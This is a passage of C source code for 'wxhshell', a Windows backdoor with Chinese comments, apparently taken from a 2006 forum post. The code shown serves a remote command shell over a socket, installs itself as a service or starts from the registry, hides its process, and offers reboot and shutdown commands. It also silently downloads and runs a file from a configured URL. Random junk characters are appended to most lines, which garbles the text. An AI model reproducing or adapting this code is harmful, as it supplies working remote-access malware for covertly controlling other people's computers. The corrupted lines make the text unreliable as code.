  case '?': { GM77Z.Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q.>/*8R;  
    break; 5d(qtFH1  
  } ^Bn1;  
  // 安装 =lm nzu<  
  case 'i': { @Z"?^2  
    if(Install()) iU,/!IQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _4Ii5CNNU  
    else 8}9Ob~on  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Djyp3uUA/  
    break; J[MVE4&  
    } :=Nb=&lst  
  // 卸载 uh1S 7!^  
  case 'r': { a6P!Wzb  
    if(Uninstall()) KDX$.$#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7NeDs$  
    else cL ae=N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BZ}`4W'  
    break; %-k(&T3&  
    } O68bzi]  
  // 显示 wxhshell 所在路径 Slo9#26  
  case 'p': { )L|C'dJ<k`  
    char svExeFile[MAX_PATH]; 4^`PiRGt  
    strcpy(svExeFile,"\n\r"); +{'lZa  
      strcat(svExeFile,ExeFile); v/ eB,p  
        send(wsh,svExeFile,strlen(svExeFile),0); 9Dy)nm^  
    break; {DSyV:   
    } 6G$/NW=L  
  // 重启 ;i/"$K  
  case 'b': { /jvO XS\M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OoE9W  
    if(Boot(REBOOT)) QW,cn7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _J` |<}?t;  
    else { > Z]P]e  
    closesocket(wsh); #*+;B93 )  
    ExitThread(0); gfx oJihE  
    } ]u~Os<   
    break; l,^xX =,  
    } pAMo XJ`  
  // 关机 >2nF"?"=  
  case 'd': { 7Onk!NH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4Sqvhz  
    if(Boot(SHUTDOWN)) ^z38<L=z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zv`zsqDJ  
    else { CJ0$;et  
    closesocket(wsh); nhp)yW  
    ExitThread(0); n}+wd9J*!2  
    } ?-4OfGN  
    break; 2$iw/ r  
    } QZ#3Bn%B5  
  // 获取shell @h!U  
  case 's': { cxL,]27Bu  
    CmdShell(wsh); s87 a %  
    closesocket(wsh); ,!jR:nApE  
    ExitThread(0); <` #,AVH  
    break; f(^33k  
  } ^NY+wR5Sn  
  // 退出 <\+Po<)3j  
  case 'x': { fmtuFr^a1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yY'gx|\  
    CloseIt(wsh); pb~Ps#"Zg  
    break; /7.wQeL9  
    } is64)2F](  
  // 离开 #)Ep(2  
  case 'q': { PpW A f\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )~1.<((<  
    closesocket(wsh); nR(#F9  
    WSACleanup(); mi*:S%;h  
    exit(1); rve7YS'  
    break; Rd`{qW  
        }  =7*oC  
  } Dm&lSWW`/  
  } e6Wl7&@6  
Ma% E&.ed  
  // 提示信息 D%6ir*%T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w2.qT+; v  
} ": mCZUt  
  } |G[{{qZM5  
]}jgB 2x7  
  return; .WxFm@]/\  
} @ARAX\F  
"K9vm^xP  
// shell模块句柄 UDhwnGTq(l  
int CmdShell(SOCKET sock) _HSTiJVr  
{ FRb&@(;  
STARTUPINFO si; a.5zdoH_  
ZeroMemory(&si,sizeof(si)); ---Ks0\V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aa%Yk"V @  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U@1#!ZZ6  
PROCESS_INFORMATION ProcessInfo; qpluk!  
char cmdline[]="cmd"; \r:m({G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,{#RrF e  
  return 0; 5JJg"yuY"  
} t't^E,E .@  
v'mJ~tz  
// 自身启动模式 f(EYx)gZ  
int StartFromService(void) -`<6=[QUO  
{ 8Cf^$  
typedef struct < P?3GT/  
{ EKeBTb  
  DWORD ExitStatus; 3C E 39W  
  DWORD PebBaseAddress; sa\|"IkD2  
  DWORD AffinityMask; Enq6K1@%G  
  DWORD BasePriority; Gnuo-8lb  
  ULONG UniqueProcessId; ,U} 5  
  ULONG InheritedFromUniqueProcessId; @vVRF Z  
}   PROCESS_BASIC_INFORMATION; oyi7YRvwd  
e<ism?WG  
PROCNTQSIP NtQueryInformationProcess; (h'$3~  
[wXwKr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /6Jy'"+'0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4]|9!=\  
~ wJ3AqNC?  
  HANDLE             hProcess; wj5qQ]WC  
  PROCESS_BASIC_INFORMATION pbi; 2 zmQp  
S)Ub/`f{s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b |o`Q7Hj  
  if(NULL == hInst ) return 0; yg-L^`t+B5  
%zIl_/s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S'v V"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6Zl.Lh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8AC. 2 v?_  
%_%f# S  
  if (!NtQueryInformationProcess) return 0; KoxGxHz^Y3  
{ ="Su{i}}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lEVQA*u[  
  if(!hProcess) return 0; V PLCic,T  
b7>,-O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EL2hD$  
 YiY&; )w  
  CloseHandle(hProcess); 2Be?5+  
zx_O"0{5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Ib+#pX  
if(hProcess==NULL) return 0; auyKLT3C  
?-RoqF  
HMODULE hMod; 1OfSq1G>v$  
char procName[255]; ci{9ODN  
unsigned long cbNeeded; FBwncG$]F*  
;?O883@r8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xqi*N13  
b}}1TnS)  
  CloseHandle(hProcess); ^R8U-V8:  
~_# Y,)S!z  
if(strstr(procName,"services")) return 1; // 以服务启动 d =B@EyN  
1b %T_a  
  return 0; // 注册表启动 {YO%JTQ  
} U`8^N.Snrp  
G2[IO $  
// 主模块 SCt=OdP=  
int StartWxhshell(LPSTR lpCmdLine) c|!A?>O?i  
{ zvK5Zxl  
  SOCKET wsl; 8KL_PwRX_f  
BOOL val=TRUE; +{=_|3(  
  int port=0; \+evZ{Pu  
  struct sockaddr_in door; y}:)cA~o(y  
j~,LoGuPh  
  if(wscfg.ws_autoins) Install(); EZwdx  
X gx2  
port=atoi(lpCmdLine); mrLx]og,  
HC;I0&v>  
if(port<=0) port=wscfg.ws_port; kT } '"  
]ZryY EB  
  WSADATA data; &Lt$a_y>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *|gs-<[#X  
u6S0t?Udap  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4htSwK+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ==jw3_W  
  door.sin_family = AF_INET; &8_#hne_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R{OE{8;  
  door.sin_port = htons(port); :hhE=A>X  
jcv1z v.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S'-`\%@7  
closesocket(wsl); ,b.4uJg'  
return 1; ?od}~G4s#  
} UA!Gr3  
j~L1~@  
  if(listen(wsl,2) == INVALID_SOCKET) { %[\Ft  
closesocket(wsl); !qw=I(  
return 1; $qUta< o2@  
} \gI:`>- x  
  Wxhshell(wsl); h@m n GE  
  WSACleanup(); }fZ =T4r  
b-(UsY:  
return 0; :kiO  
64 \5v?C  
} :@@A  
1-NX>E5  
// 以NT服务方式启动 D>7_P7]y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l;Wy,?p  
{ ,<P[CUD&&  
DWORD   status = 0; *A1TDc$  
  DWORD   specificError = 0xfffffff; k'I_,Z<,  
/E4}d =5L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,8"[ /@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C}P \kDM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?'/5%f`  
  serviceStatus.dwWin32ExitCode     = 0; T;[c<gc/  
  serviceStatus.dwServiceSpecificExitCode = 0; , w'$T)  
  serviceStatus.dwCheckPoint       = 0; ~h^}W$pO  
  serviceStatus.dwWaitHint       = 0; if!`Qid  
~j&:)a'^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k-ex<el)#  
  if (hServiceStatusHandle==0) return; 6[2?m*BsN  
Y\z\{JW  
status = GetLastError(); cV_IG}LJ  
  if (status!=NO_ERROR) o(>-:l i0  
{ (jE:Q2"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; whm tEY  
    serviceStatus.dwCheckPoint       = 0; -^jLU FC  
    serviceStatus.dwWaitHint       = 0; 1DlcO>#@  
    serviceStatus.dwWin32ExitCode     = status; V-ouIqnI  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'iISbOM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6j"I5,-~!  
    return; hC, -9c  
  } nk3<]u  
.SV3<)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HFx"fT  
  serviceStatus.dwCheckPoint       = 0; eW*ae;-  
  serviceStatus.dwWaitHint       = 0; >eTgP._  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @oc%4~zl  
} ]vkHU6d  
.f<VmUca  
// 处理NT服务事件,比如:启动、停止 fYQi#0drn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i`nw"8  
{ '/Cz{<,  
switch(fdwControl) Ce'2lo  
{ .nF  
case SERVICE_CONTROL_STOP: k q.h\[  
  serviceStatus.dwWin32ExitCode = 0; vgW1hWmHJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l 75{JxZX  
  serviceStatus.dwCheckPoint   = 0; O-lh\9{'R  
  serviceStatus.dwWaitHint     = 0; OZ14-}Lr5  
  { U>-#('  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |Sv#f2`  
  } 2[&-y[1  
  return; $~@096`QL<  
case SERVICE_CONTROL_PAUSE: PW//8lsR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >Wit"p  
  break; Hr*Pi3dSI  
case SERVICE_CONTROL_CONTINUE: @gjdyz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @bCiaBdi  
  break; 2-c0/?_4  
case SERVICE_CONTROL_INTERROGATE: 2T%f~yQ^  
  break; Cl.T'A$  
}; R|$`MX}'z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A}Dpw[Q2@8  
} 5YH mp7c-z  
;,-Vapz  
// 标准应用程序主函数 Ml/p{ *p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J+NK+,_*M  
{ Ry S{@=si  
\Y[)bo6s  
// 获取操作系统版本 (4f9wrK  
OsIsNt=GetOsVer(); "3oU (RA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7-IeJ6,D  
:@Dos'0Px  
  // 从命令行安装 'I>#0VRr  
  if(strpbrk(lpCmdLine,"iI")) Install(); [_hhC  
FY S83uq0  
  // 下载执行文件 Bg0cC  
if(wscfg.ws_downexe) { _";pk  _  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xy3%z  
  WinExec(wscfg.ws_filenam,SW_HIDE); v!h-h&p O7  
} y/6LMAI  
|B$\3,  
if(!OsIsNt) { A y[L{!)2{  
// 如果时win9x,隐藏进程并且设置为注册表启动 bCe-0!Q  
HideProc(); T`ZJ=gv  
StartWxhshell(lpCmdLine); 'R'a/ZR`B7  
} 9:w,@Phe  
else TC{Qu;`H+U  
  if(StartFromService()) g2<S4  
  // 以服务方式启动 3(*s|V"  
  StartServiceCtrlDispatcher(DispatchTable); X3O$Sd(D  
else ,4W((OQ^  
  // 普通方式启动 $[CA#AXE  
  StartWxhshell(lpCmdLine); 5@%-=87S  
5m?$\h  
return 0; /(pChY>  
}
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只看该作者 1 发表于: 2006-10-10
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